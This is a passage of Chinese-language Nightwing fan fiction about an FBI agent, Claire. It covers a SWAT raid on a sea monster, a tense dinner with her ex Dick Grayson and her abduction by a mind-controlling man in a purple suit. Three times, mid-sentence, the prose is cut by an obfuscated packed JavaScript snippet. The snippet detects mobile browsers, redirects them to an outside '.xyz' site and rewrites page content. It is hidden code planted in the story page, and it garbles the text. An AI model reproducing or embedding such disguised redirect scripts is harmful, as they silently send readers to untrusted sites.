克莱尔把手指饼干像香烟一样叼在嘴里，“顺带一提，我还有一个申请……” 迪克刚刚写完案件报告。 属于夜翼的秘密基地继承了来自哥谭的阴冷灰暗，多出了几分布鲁德海文的破旧。 冰冷的高科技仪器堆放在廉价的水泥地上，制服展示柜后的墙面结了蛛网，各类电缆电线伏在墙边，在冷光下如同缄默的蛇群。 像一幅油画，抹上另外的颜色，就能改变整体色调。又像一个流动马戏团的演出台，方便、朴素、简单。 迪克审视着屏幕上的文字，这是一个缺少必要信息的字谜游戏，有几处空缺他们没有找到正确答案。 迪克暗中走访了所有与休伯特有关联的人，包括他的前妻、子女、朋友和公寓管理员，三百万不翼而飞，金钱不知流向了何处。 红心酒馆连同下方的赌场一起被查封，时间可能很短暂。要不了多久，会有新的“酒馆”诞生，人们在地下室或者阁楼安放一张张赌桌。 那只海怪钻进污水里，成为布鲁德海文新的隐患。也许有一天，他会再次出现，打断迪克的某根肋骨。 所以属于本案的案件报告只有阶段性结束，它不完整。 过了几秒钟，迪克关掉显示屏。他换上了正常的服装，离开基地上方掩人耳目的车库，混入街道。 黄昏将近，位于城市最上层的霓虹灯牌点亮彩色的线条与图案。火树银花，灯火辉煌。 一对约会的青年男女走在迪克前面，女方有一头璀璨的金发。迪克有一瞬晃神。 他有好几天没联系克莱尔，算算时间，FBI该结案了。克莱尔想必正苦恼地抓乱自己的金发，为案件报告发愁。 想到那副场景，迪克忍不住嘴角上扬。他拨通克莱尔的电话，对面很快接通。 “下午好，CC，请问我是本月第一个邀请你共进晚餐的幸运儿吗？” “你的邀请来得真快。” 克莱尔的声音压得很低，她从一个嘈杂的闹哄哄的地方走到另一个稍微安静点的位置。 “今晚不行，换一个时间。” 迪克努力分辨听筒另一边的杂音，“……你在忙吗？” “我在准备出任务。”克莱尔说，“别担心，答应的事情我不会失约，后天晚上六点半，我在你家楼下等你。” 通话的背景音中混杂了其他人的吼声，“SWAT小队，集合！” 克莱尔不等迪克回答，快速道：“我要工作了，后天见！” 她挂断电话，只有SWAT小队的集合令在迪克耳朵里炸响。 SWAT，特殊武器与战术部队，是执法机构中拥有先进技术战术手段的特种作战单位。 克莱尔手头有哪一起案件需要出动SWAT小队？ 迪克心脏狂跳，他顾不上他人异样的目光，在人来人往的街头拔足狂奔！ 克莱尔收起手机，调整调查局战术马甲下防弹衣的位置。 哈伦在她身旁嘀咕：“我们真的要去抓捕一只手撕活人的怪物？把他留给夜翼处理不好吗？” “你可以继续等，等他从你家的浴缸里冒出来。” 克莱尔第二次检查弹匣，确认十三发子弹都乖巧地缩在弹匣里。海怪的皮肤能有效防御手枪发射的子弹，但只有枪拿在手里她才安心。 哈伦唉声叹气，“好吧，轮到我们当英雄了。” 他不安地舔了舔嘴唇，“你确定他躲在这里，这不是你住的地方吗？” 他们眼前的小港口破败颓废，附近偏僻无人，最大的优势是租金便宜。克莱尔的游艇停在重重警戒线后，好似水上泊着的一片树叶。 “探测器显示水下有大型生物活动的痕迹。休伯特的尸体能顺水冲到这里，说明二者之间水系相连。恰好港口作为尸体发现地被封锁，多好的藏身之处。” 哈伦紧张地摩挲无名指上的婚戒，亲吻戒面，虔诚祈祷：“菲奥娜和艾娃，我的天使们，愿你们保佑我。” 全副武装的特警队整装待发，围绕小港口部署了两个小组。一组负责进入港口，清除目标。二组负责监视战况，在高处布置狙击手和观察手。 声呐信标找到海怪的准确位置，他们等了两天，终于等到海怪上岸活动。一组分为两队，A小队正面抗击海怪，B小队后方围堵，避免海怪受惊后逃窜入海。 克莱尔、哈伦与一组同行，同样领取了SWAT小队派发的武器和装备。哈伦并入A小队，克莱尔则跟随B小队行动。 黄昏笼罩寂静的港口，为波光粼粼的海面镀上一层暖融融的橙光。游艇逆着夕阳，变成一块棱角分明的礁石。 那块礁石剧烈地晃动。一只带蹼的大爪扒住船沿，然后是灰绿的手臂，大半个躯体。 他爬上游艇，走过栈道，脚踩陆地。克莱尔射伤的那只眼睛结成了扭曲虬结的伤疤，另一只眼睛戒备四周。 一颗漆黑的榴弹远远抛进港口，莫约一个呼吸，天地皆白、巨响轰鸣！ 强光吞没了一切，所有人事物都仿佛被融化般吞进光里。 光穿透海怪的皮肤，巨响震撼海怪的神经，换作是一个普通人，此时已眼盲耳鸣、任人宰割！ 数把突击步枪炸起枪口焰，子弹如暴雨倾斜，在海怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171373|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上敲出金属的嗡鸣。 没用！ 海怪第一时间挡住独眼，生存本能督促他做出最正确的选择，他四肢着地，掉头往回海里逃。 等待他的是B小队组成的防爆盾墙，七个人七面盾牌堵住海怪的去路，与他极速奔跑的躯体撞上！ 第一下撞击！ 克莱尔是盾墙的一部分。她以为自己撞上了一辆飞驰的汽车，左臂疼痛加剧，手腕酸软，险些握不住防爆盾。 盾墙堪堪维持住大致的形体，海怪咆哮着，再次撞向眼前的路障！ 第二下撞击！ SWAT小队队长高喊：“变换阵型！” 克莱尔偶尔会借用调查局SWAT小队的训练场，她参与过几次小队演习，队长甚至邀请她加入SWAT小队。 她及时调整姿势，与其他六人一起，偏转盾牌。 大部分冲击力被泻去，海怪如一座肉身攻城锤，撞开B小队的防线。 他对上怒吼的队长。 “怪物，尝尝这个！” 闪光眩晕手榴弹扔进海怪大张的嘴里，一、二，引爆！ 距离太近，哪怕携带了护具，B小队所有人都在一霎那失去了视野，只有暴力的一片白占据所有神经。 克莱尔的思维短暂地中断了，等她回神，海怪正倒在脚下。B小队的其余成员这时才慢慢恢复感知能力，一拥而上架住疯狂的队长。 “你是疯子吗，我差点死了！” “我以为这儿是天堂！” “把剩下的震爆弹都塞进这坨狗屎嘴里！” 队长被暴怒的队员淹没，抱头狡辩：“心慈手软的人无法战胜怪物。你们不都好好活着呢？” 哈伦小心翼翼地走过来，用脚踢踢海怪无力的手臂，“他们一直这么恐怖吗？” 克莱尔脑内的眩晕一阵一阵，恐怖的白光仍残留在她视网膜上。她晃晃头，试图搅匀脑袋里的水。 “是的，大惊喜，SWAT小队是一群疯子和暴力狂。” A小队围拢过来，接手海怪的抓捕工作。哈伦担忧地看了克莱尔一眼，过去帮忙。 队员将海怪翻到巨型推车上，预备用钢索固定。没人发现海怪的独眼颤了颤，忽然睁开。 他暴起，睁开固定到一半的钢索，右爪彻底脱困，抓向被钢索击中鼻梁的哈伦！ 反应过来的队员向海怪开枪，子弹擦过他坚硬的鳞皮，不痛不痒。 克莱尔揪住哈伦的衣领，向后一拽，哈伦险之又险与尖锐的利爪错开。 一只飞镖擦过克莱尔肩头，以一个刁钻的角度射中海怪胸口。 夜翼飞镖。克莱尔认出了它。 飞镖中心装载的模块释放出雷霆，电光大作！ 浓浓的焦糊味散开，海怪的躯体控制不住抽搐两下，摔回推车里。 劫后余生的哈伦大口喘息，他捂住脸，黝黑的额头挂满细细密密的汗珠。 “谢谢菲奥娜，谢谢艾娃，谢谢宝贝们保佑我。”他发狂地亲吻婚戒，又补充，“谢谢克洛宁，谢谢……夜翼。我刚刚距离死亡那么近！” 克莱尔拍给他一张手帕，“擦擦你鼻子流出的血。” 她抬头，看到港口附近最高的那栋建筑上有一抹靓丽的蓝影。 克莱尔摘下护目镜和无线电耳麦，对SWAT小队的队长道：“我离队五分钟！” 她飞快跑进众人视线外的角落，不需要上楼，夜翼荡下飞索，落到她面前。 多米诺面具遮住他的眉眼，嘴唇紧紧抿着。 夜翼略带委屈地控诉：“我以为我们是一对好搭档，你找到大块头为什么不联系我？” 克莱尔有一会儿无话可说，心头那股踊跃的迫切撞上成片的缓冲带。 她盯着夜翼忧郁不解的脸，无奈道：“天才，我没有你的任何联系方式。” 8. 第 8 章 夜翼的表情没有太多变化，但克莱尔看出来，他很尴尬。 他强装正经，道：“下次追捕超凡生物的活儿可以交给我。” 克莱尔感到好笑，她双手抱臂，“你以为SWAT小队是拿来骗经费的空壳队伍吗？” “我没有看不起他们，今晚他们处理得很好。”夜翼解释道，“只是——太危险了。” “面对危险是他们的工作，”克莱尔提高声音，后一句又降下去，“也是我的工作。” 角落之外，港口内响起SWAT小队队员吹牛闲谈的声音。他们用夸张的语言形容刚才的情况有多危机，而自己有多英勇聪明。他们被其他人揭穿，同时揭穿其他人，每个人都哈哈大笑。 这种对比显得角落内的气氛很压抑。 克莱尔放缓语气，“需要你操心的事情太多了，英雄，我们不能把所有责任都扔给你。” 夜翼小声道：“我以为我们是一边的呢。” “我拿调查局的工资，你没有，这就是区别。”克莱尔说。 她伸手戳戳夜翼胸口的鸟形标，表情恢复轻快，“不管怎么说，今天的行动都是完美收场。哈伦非常感谢你。” 最后一点夕阳消失前，她们头顶的路灯洒下温柔的暖光。克莱尔摆手离开，夜翼犹豫再三，吐出一串数字。 克莱尔回头看他，他沐浴灯光，解释道：“我的紧急联络号码，我会定时查看收到的信息。” 克莱尔点头，又要转身，夜翼再次叫住她。 “你的左手没养好，回家记得用热毛巾热敷。” 他观察得很仔细，克莱尔勾勾唇，“谢谢你的关心，蓝色甜心。” 她走出一段路，再回头看时，灯下没有人影。 克莱尔没有对她和夜翼的关系遮遮掩掩，连卡莉法都听到了不少传闻。她在阅览克莱尔的案件报告时顺嘴一问：“既然你和夜翼认识，何必要喊SWAT小队，让他解决海怪不是更方便吗？” “你说得好像夜翼是一件很趁手的工具。”克莱尔枕臂横躺在办公室的沙发上，小腿搭着扶手，“完全错误，他既不趁手，也不是工具。” 卡莉法道：“他们觉得你太严肃了。” “过分依赖一样东西、一个人，会使我们失去挣扎求生的本能。”克莱尔难得说了一句正经话，“英雄是希望的化身，但我们不能把他们当作唯一的希望。” 卡莉法啧啧两声，“你真严肃。” “难道帮我申请SWAT小队支援的人不是伟大的办公室主任卡莉法吗？”克莱尔怪腔怪调道，“天呐，原来前几天你被泥脸冒充了！” 办公室主任嗔怪地瞪她，说起一个不相干的话题。 “其实我经常路过红心酒馆，只是从来没进去过。” 克莱尔费劲地想了一会儿，在记忆里翻出情报，“哦，你租的公寓离那儿不远。”红心酒馆正位于卡莉法的公寓和休伯特的公寓二者中心。 “红心酒馆所在那条街的末尾，有一家披萨店。我下班以后经常去那里买一盒披萨带回家，老板和我混熟后，时不时多送我一杯饮料。” “好老板。”克莱尔赞道。 卡莉法冷笑，“他家的披萨是我见过最贵的街头披萨。” “坏老板。”克莱尔改口。 “我希望明天、后天、下个月，他都在那里卖披萨，哪怕他的披萨很贵。”卡莉法说，“所以我乐意帮你申请支援。” “你活该吃贵披萨。”克莱尔说，“他就不能给熟客打八折吗？” 挂钟的时针走到下午六点，克莱尔起身，拎起沙发靠背上的外套。 “再见，我的女王，我要下班了。” 卡莉法诧异道：“你被哈伦附体了？” “我约了人共进晚餐。”克莱尔潇洒摆手。 她身后，卡莉法发出似恼怒似无奈的哼声。没事，卡莉法会习惯的。 六点二十，克莱尔提前出现在迪克的公寓楼下。她给迪克发了消息，没过几分钟，一个英俊的迪克从楼道里匆匆走出来。 他从头发丝到脚后跟都打扮得精致得体，克莱尔隔着一段距离就闻到了男士古龙水沉木般的香气。 迪克眼里闪着光，他脚尖微踮，炫耀似地转了一圈，衣摆散漫地敞开。 “怎么样，不错吧？” 克莱尔忽然意识到，这套打扮是她们分手前搭配好的，是迪克决定穿去游乐园的“约会日套装”。 复杂又厚重的无奈涌上心头，克莱尔轻轻呼出一口气，“你推荐的西班牙餐厅在哪里？” “很近，走几步路就到了。我吃到他家的海鲜饭时就知道你会喜欢。”迪克微笑。 他们并排走过分手前经过无数次的小路，间隔微妙的几步距离。 迪克发给克莱尔的餐厅宣传照没有造假，就餐厅的装潢与布置来说，它配得上它的价格。 克莱尔点了海鲜烩饭和香蒜汤，迪克额外加了搭配曼彻格奶酪的伊比利亚火腿和土豆煎蛋饼。饮品是两杯桑格利亚酒，鲜红透亮的色彩浓缩在杯中，十分好看。 桌上的银烛台跃动火光，点缀着蔷薇果与银叶菊的玫瑰衬着烛火，如一位沉静的美人。 克莱尔专心享用盘里的美食，迪克专注地看着她，眼里沉淀的情绪越来越多。任何一个人看到他的眼睛，心口都像是被不轻不重地掐了一把，酸、软，带着触电般的酥酥麻麻。 克莱尔没看他。她能感知到漂浮在玫瑰与烛火间的情绪，在迪克开口前，她抢先道：“这家餐厅的口味很不错，我很喜欢。” “对你胃口，那就太好了。”迪克弯着眼睛，“下次我们可以试试别的。” “下次我会点一些小吃，单人餐，够了。”克莱尔说，她对上迪克的眼睛，浅灰与翠绿的眼珠剔透漂亮，“作为朋友，我很愿意和你再来这里，尝试新的菜品。如果你想要回到原来的身份……那还是算了。” 她拒绝了他，一点也不委婉，在他表达自己的心意之前。 迪克张了张嘴，想说几句俏皮话缓解气氛，却发现自己一个字都吐不出来。 该死，说点什么！ 说：“那很好，我们当朋友最合适。” 说：“祝你找到更棒的人，谈一段完美的恋爱。” 说，说，说—— 说：“为什么？你不再喜欢我了吗？你有了喜欢的人吗？” 说：“属于我们的故事，结束了吗？” “理查德，”克莱尔打破沉默，“别想太多，只是我有了新的想要约会的对象。” 迪克的舌根泛起苦味，这应该是他的幻觉。他急忙端起酒杯，喝了一口桑格利亚酒，用清新爽口的酒液冲淡嘴里的苦涩。 他努力掩饰黯然的神态，问道：“我能不能知道，是哪个幸运儿？” “你应该知道他，他在布鲁德海文是大名人。”克莱尔耸肩，时间流速变得极慢，她的嘴巴一张一合，“夜翼，穿紧身衣的男人。” 一口酒从迪克嘴里喷出来！ 多余的酒水呛进他的鼻腔和嗓子里，他狼狈地抓起擦手巾在脸上胡乱一抹，顾不上鼻腔里的酸痛，震声大喊：“什么？你说谁？” 周围人纷纷侧目，克莱尔嫌弃地挪开自己的餐盘，重复道：“夜翼，就是你心里想的那个人。” “不对，不可能。”迪克的瞳孔失去焦距，不敢置信地喃喃，“夜翼，为什么是夜翼？” 太荒谬了！ 他反复回忆自己作为夜翼与克莱尔相处的细节，突然发觉问题所在。 是夜翼，夜翼表现得太暧昧了。迪克从没真正把“迪克”和“夜翼”的身份好好分开，他不知不觉把克莱尔和“夜翼”的关系代入进克莱尔和“迪克”的关系中，以至于克莱尔认为夜翼在向她表达好感。 错了，大错特错！ 他一下子变成上岸的小美人鱼，好久才找回自己的嗓音。 “可是你根本不了解夜翼，CC，你怎么能和他在一起？”迪克掌心的擦手巾纠成一团，“你和他认识才多久，不到两个星期！” 克莱尔眉毛一抖，“可我们第一次约会时也才认识不到一个月。” 迪克几乎要晕过去了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171374|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许晕厥是更好的选择。他抓狂道：“他没有为你摘下面具，你甚至不知道他长什么样，他不坦诚！” “不重要，我不在乎。”克莱尔喝着桑格利亚酒，姿态从容。 她不关心夜翼面具下的脸，她不会给自己的快乐设置很多限制条件。就算夜翼漆黑的多米诺面具下是三只眼睛的外星人面孔，那又如何，总归克莱尔看不到。 激烈的情绪起伏下，迪克的胸口起起伏伏，他极力不让自己钻进桌子底下，呜咽出声。他不愿表现成一个搞砸一切的混蛋，悲哀的是，一切都搞砸了。 迪克绝望道：“你和他一个星期都未必能见到一面。” 克莱尔淡然道：“我们见面也不频繁。” 迪克怀疑今晚发生的所有事情都是他的噩梦，真实的世界里，他正栽倒在沙发上呼呼大睡，克莱尔刚离开调查局，坐上前往他家的巴士。 他为何如此痛苦，他为何还在梦中？ 他必须结束这场恐怖的梦境！ “夜翼不值得你这么做，”迪克勉强维持平静，“他是一个花花公子，和他交往过的女英雄女反派数不胜数。他只会给自己的恋人带来伤害，不然那些女孩怎么会一个接一个地离开他？” “格雷森，”克莱尔放下酒杯，她的眼睛如同一面明镜，映出一只惊慌失措的鸟儿，畏惧伤害，于是把情况越变越糟，“要是你直说，你想复合，我会高看你一眼。” 她轻声道：“别拼命诋毁另一个人，这不像你。” 迪克哑口无言。 她是对的，他又做了蠢事。 如果克莱尔真的爱上了另一个人，另一个更好的人，迪克只会送上祝福。他盼望他的朋友、恋人得到幸福。 但夜翼不是那个人，他知道夜翼有多糟糕……和他一样糟糕。 他沮丧地捂住眼睛，“我很抱歉，我的本意不是……算了，你就当没听到我的胡言乱语。” 克莱尔扯扯嘴角，“放轻松，夜翼不是洪水猛兽，他不就是一个男人嘛。” 迪克忽然抬起眼，有点莫名的生气，“什么叫，不就是一个男人？” “随你怎么想。”克莱尔用餐巾压压嘴唇，“菜很棒，餐厅氛围很好，而你显然缺乏睡眠，我建议你回去好好睡一觉。” 她拎包走人，“再见。” 迪克怀抱着沉痛、混乱的情绪回到出租屋。他倒在沙发里，想象自己是被海浪冲上沙滩的一只贝壳，正面临一场痛苦的慢性死亡。 属于夜翼的号码收到了消息。 是他给克莱尔的紧急联络号码。 迪克缓了很久，慢吞吞地伸手，够到茶几下方的备用手机。 克莱尔给夜翼发了一个地址。 迪克翻过身，手机搭在心口。 思绪如浪潮奔涌不息，每一个念头都随浪花沉浮。 最终，他艰难地撑起自己，换上制服。 夜翼和克莱尔的暧昧应该有一个了结，他不能一错再错。 克莱尔发来的位置在红心酒馆附近，是超级英雄最爱的天台。 她早早就到了，穿的依旧是和迪克共进晚餐时的那身薄风衣，上面沾染了西班牙餐厅花香味的香氛。 她提起一个纸袋递给夜翼，“宵夜，请你吃。” 夜翼盯着怀里的纸袋发愣，在克莱尔不解地看过来时，慢慢地拆开纸袋。 披萨粗暴的香味闯进他的鼻子里。他今晚没吃几口菜，胃被勾起食欲，发出迟到的抗议。 他虚弱地问：“你不吃吗？” “我不久前吃过晚餐，分我一小块就好。” 他们在晚风与夜灯中分食了一盒披萨，热气腾腾的芝士裹着香肠，拉出细长的丝。 迪克嘴里滚烫，心里想，等克莱尔向夜翼表白，他要很坚定地回绝她的好感，这对他们都好。 但克莱尔始终没有动作，她没有说出任何过界的话，只是和夜翼并排坐在天台边缘，吃着披萨，欣赏布鲁德海文的夜景。 今晚的星光十分温柔，星辰与灯火交相辉映。她一直不说，他便一直不能拒绝。 9. 第 9 章 游艇被扣押的这些天，克莱尔都住在她哥哥的临水别墅里。 别墅位于哥谭与布鲁德海文中间，附赠一个方便游艇停靠的小码头。建筑有两层，一楼客厅有三面落地窗，落地窗外是码头花园，称得上是“豪宅”。 这栋华丽奢靡的宅邸当然不是她哥哥买的，而是对方某个大客户送的，附赠二十年的维护费用和保险。 克莱尔每天在临睡别墅的大床上醒来，都忍不住用手拍拍床垫——太软和了，躺进去像陷进了云朵里。 她洗漱下楼，卡莉法答应她的长假才刚开始，她有充足的时间放松身心、消磨时光，决定自己接下来的行程。 楼梯拐角处是一面照片墙，尺寸不同的照片错落有致地排布，顶替了原本挂在这里的百万元名画。 有人站在照片墙前，望着最中间的全家福发呆。 对方有一张和克莱尔五分相似的脸，金发，瞳色是神秘深邃的紫罗兰色。 单看他的脸，人们会认为他是少女漫中走出来的王子。难怪这位灵媒如此受有钱女性们欢迎，不止是因为他嘴甜。 “巴希尔，”克莱尔和哥哥打招呼，“你什么时候回来的？” “我刚进门。”他背手面向克莱尔，习惯性露出灿烂的笑意，“我带了三明治和咖啡回来，就放在餐桌的保温垫上，你快去吃。” 克莱尔和他并肩而立，目光一一扫过墙上的照片。 大部分是克莱尔的照片，从她大学毕业一路记录到她在FBI国家学院的“志愿之夜”打开分配信，最后一张照片是她离开迈阿密办公室前与同事们的合影。 极少有巴希尔的单人照片，在一堆克莱尔与其他人中间，最大的那张照片是克洛宁家的全家福。金发兄妹依偎在父母怀里，对镜头展露天真的笑颜，一旁是她们的外祖母。五个人中有三双紫罗兰色的奇特眼睛。 克莱尔将手向巴希尔背后一探，抢走他藏在背后的礼盒。她认出礼盒上的烫金标志，“夜鹰？” 夜鹰定制公司，以出产各式1911型号手枪闻名。定制款的夜鹰1911在枪械爱好者眼中等同于富豪们热衷于收藏的各类豪华名表，兼具收藏价值与实用性。 她坐到餐桌边打开礼盒，零碎的部件在她指间飞舞旋转，令人眼花缭乱。 咔哒，最后一个部件严丝合缝地扣上。克莱尔把玩成品，哑光黑色涂装，平底双排弹匣，重量合适，持握趁手。 她将夜鹰抛给巴希尔，“你终于打算学点防身的东西了？” 后者手忙脚乱地接住，心脏险些跳出来。克莱尔戏谑道：“没装弹，不必惊慌。” 巴希尔不满地瞪了性格恶劣的妹妹一眼，把枪推回来，“这是送给你的礼物，不用谢。” 克莱尔笑得更得意，将夜鹰收进怀里，“谢谢。” “这把枪目前没有登记，谨慎使用。”巴希尔道。 他长久地盯着克莱尔，眉头一皱，“你的身体有点不对劲。” 克莱尔正试图一口气把三分之一的三明治塞进嘴里，嚼嚼嚼，“请说，你看出什么东西了？” 紫色的眼眸中升腾起云雾，雾气凝聚成雨，滴进平静的湖面，泛起涟漪。 半晌，巴希尔摇头，“你最好去医院做一个全身检查。” 克莱尔拿人手软，很听劝，“我今天正好有空。” 碟子与咖啡杯干干净净，食物尽数被克莱尔消灭。巴希尔拉起放在门边的行李箱，叮嘱道：“我去哥谭录制节目，有几天不能联系你，你少惹点事。” 克莱尔叼着餐叉，神情无辜，“非工作时间我向来安分守己。倒是你，别又招人恨。” 巴希尔没好气道：“注意，你住着我的房子，流浪汉。” 啧。 克莱尔收拾好厨房，跨上心爱的机车冲进城。 她在医院老老实实待到下午，全部的体检报告要一周后才能出来，只有几项检查当场出了结果。 医生冷漠的表情中混杂了一丝担忧，“你的身体暂时没有大问题。今后要注意保养，不然你的老年生活不会很美妙。” “保证平和的心情，去做一些让你的精神和身体都能够得到放松的事。”医生合上诊断书，“给自己放个假吧，特工。” 离开医院，时间刚到下午两点。克莱尔站在人来人往的街头，一时不知道自己该去哪儿。 她因为工作调动来到布鲁德海文，除了调查局的同事和迪克，克莱尔在这儿没有其他朋友。 天气格外好，微风凉爽，天空蔚蓝。克莱尔混在人群中，漫无目的地游荡。 她挤进路过的精品店，买了一条五彩斑斓的丝带编进头发里，又跟着网上的推荐去吃附近很有名的甜甜圈。 吃完最后一口甜甜圈，克莱尔看到橱窗里模特展示的一条漂亮裙子。她用纸巾擦干净嘴和手指，确定甜甜圈上淋的糖浆没弄到身上，才走进店里。 过了一会儿，她穿着那条裙子从店里走出来，夜鹰和换下来的衣服都装在服装店的手提袋里。 人潮涌动，她随着人流一路走到港口。布鲁德海文是知名的旅游城市，观鲸船曾是这里最知名的旅游项目之一。 但鲸群已经很多年不曾光顾布鲁德海文了，如今那些观鲸项目都已名存实亡。观鲸船改变航线，多数只带游客们到布鲁德海文的近海吹吹海风。 克莱尔随便上了一艘观鲸船，在船尾找到一个好位置坐下。 一只不怕人的海鸥落在船尾的栏杆上，大着胆子冲克莱尔嘎嘎叫。克莱尔心情颇好，吹了几声口哨逗鸟。 海鸥歪着脑袋，忽然振翅，远远飞走。 一只修长白皙的女人的手拉开克莱尔身旁的椅子，克莱尔抬眼望去，坐下的却是一个穿紫色西装的男人。 不止是西装，他的皮肤与头发都是紫色，而观鲸船上的游客竟然没有一个人觉得奇怪。 为他拉开椅子的女人与另外两位漂亮女性如花朵般簇拥在他周围，其中有两人面容相像，是一对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171375|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双胞胎。 紫西装男人贪婪而欣喜地打量克莱尔的脸，像打量一对装在匣中的珠宝。 克莱尔眉头微挑，她将手提袋放到膝盖上，保证自己能第一时间拿到藏在衣服底下的夜鹰。 紫西装男人微微一笑，“你叫什么名字？” “我叫‘我不喜欢你’，麻烦离我远点。”克莱尔起身，“你的紫西装很丑，要不要考虑把头发染成绿色，去哥谭和小丑认亲？” 紫西装男人对克莱尔的不客气没有丝毫不适，他甚至表现得很纵容。 “适度的高傲很可爱，过分的强硬则会影响氛围。”他望着克莱尔的眼睛，姿态散漫地靠着椅背。 冰凉的枪口抵在他的额头上，几乎没有人看清克莱尔的动作。 克莱尔稍稍用力，枪管在男人紫色的皮肤上挤出褶皱，“你继续说，我继续听。” 紫西装男人又一次笑了。他的声音一重重在克莱尔脑内回荡。 “和我走吧，美人。” 走吧……走吧……走吧…… 和谁走？ 走吧…… 思维停止，克莱尔的瞳孔失去焦距，她放下枪。 手提袋中的手机屏幕亮起，是迪克发来的短信。 “那晚说的话不是我的本意，我很抱歉，CC，希望你能原谅我的愚蠢……” “希望你能原谅我的愚蠢，哪怕我们分手了，我们依旧是朋友，对吗？” 迪克一行行默念。原本三百字的消息删减成两百字，删减成一百字，最后只剩寥寥几句话。 他横躺在沙发上，将手机放在心口，期待它会因收到消息而震动。 夕阳落下，透过半开的窗帘，笼住沙发上的青年。橙红的光慢慢变暗、变沉，迪克不知何时睡着，又不知何时惊醒。 黑暗中他抓起手机，小小一方的光照亮半张英俊的脸。 克莱尔没有回复。 她也许腻烦了迪克，因为他是一个反复无常、不守约定的蠢货。 她也许喜欢上了新的人，可她不知道夜翼的面具下是迪克·格雷森的脸。总有一天，夜翼会犯相同的错误，她会经历两次相同的失望。 迪克·格雷森要怎样才能不犯错？ 手机熄屏，房间里最后的一点光也消失了。迪克缓缓呼出一口气，他扔开手机，拽出衣柜暗格里的制服。 今夜星光灿烂，玻璃花房中点起浪漫的烛火。克莱尔与穿紫色西装的男人对坐。 男人漫不经心地切割盘中的牛排，悠悠道：“我喜欢你的眼睛。它是你身上最美丽的部分，是点睛之笔。” 克莱尔的睫毛轻轻一眨。她不动声色地观察四周。 她的记忆中断在观鲸船上，上一秒她还拿枪抵着紫西装男人的额头，下一秒，她居然坐在花丛中，和他共进烛光晚餐。 男人放下刀叉，他用欣赏一件精美瓷器的眼神欣赏克莱尔，绕到她身边撩起一缕金发，“时间正好，晚餐可以结束了。” 10. 第 10 章 随风轻摆的纱帘后是布置豪华的别墅本体，克莱尔垂眸盯着手里的餐叉，思考将它插进男人的脖子里需要几秒钟。 能不能快过他做手脚？ 能不能快过她再次失去意识？ 铃声打断了她的思考，男人掏出手机看了一眼屏幕，脸上浮现出烦躁和严肃。 他对克莱尔下令，“回到你的房间里去休息。” 说罢，他推开掩映在花房深处的另一扇门，匆匆离开。 克莱尔安静地坐着，脚步声消失的半分钟后，她围着玻璃花房走了一圈。 防爆玻璃，进出的两道门有双重锁，只有通往别墅内部的门开着。 而她穿着一身单薄的长裙，全身上下最坚固的东西是脚下的乐福鞋和编进丝带的长发。手提袋和夜鹰不知道是扔在了船上，还是藏在这里的某处。 克莱尔回头看了一眼男人离开后锁上的那道门，转头走进别墅。 如她所料，别墅的门窗亦被封死，新风系统昼夜不停运作。一楼的公共区域内没有任何通讯设备。这是一座华丽的牢房。 冰箱里有一筐苹果，水果刀是克莱尔找到的唯一一把刀具。别墅内针落可闻，只有克莱尔洗苹果溅起的水声。 她独坐客厅，水果刀锃亮，一根果皮从头削到尾不断，薄厚均匀。 克莱尔慢吞吞地啃完一个苹果，在视线范围内找到五个监控，整个一楼几乎没有监控死角。 水果刀在餐巾上擦干抹净，她做了一个还刀的假动作，将刀藏在身上。 二楼是休息区，无人入住的房间都敞开着，有三扇房门紧闭。走廊尽头的监控亮着红点，正在运作。 一扇关上的房门后传来压抑的呼吸声，门缝下方的一块黑影挡住室内的灯光。 克莱尔思索片刻，笔直上前敲响房门。 门内的人被她的胆大吓到，急促地抽了一口气。 克莱尔毫不留情地戳破她的伪装，“你好。” 她心中默数三声，面前的房门谨慎地推开一条门缝。半张脸躲在门板后，克莱尔认出她是双胞胎中的某一位。 “我是克莱尔，”克莱尔用脚卡住门缝，强势地挤进门，对警惕的双胞胎微微一笑，“我打算选你旁边的房间，特意来和我的新邻居认识一下。” 她迅速观察了一圈房间，衣柜、书桌、床，这就是卧室的全部家具。窗帘敞开着，窗户封得严实。 克莱尔转身，新邻居正挡在她和出口之间，强装镇定，“我知道你想问什么，我是双胞胎里的妹妹。” 海莉仰起脸，克莱尔发现她的鼻尖有一颗小痣。她很年轻，应该正读大学。 克莱尔问：“你和你姐姐为什么留在这儿？” “很难猜吗？”海莉双手环胸，“为了紫人，我们愿意留在这儿。” 克莱尔挑眉，“哪怕你们需要分享他。” 海莉的睫毛一颤，她当即脸色骤变，怒道：“我更不可能让珍妮特独占他！” “珍妮特是你的姐姐？” 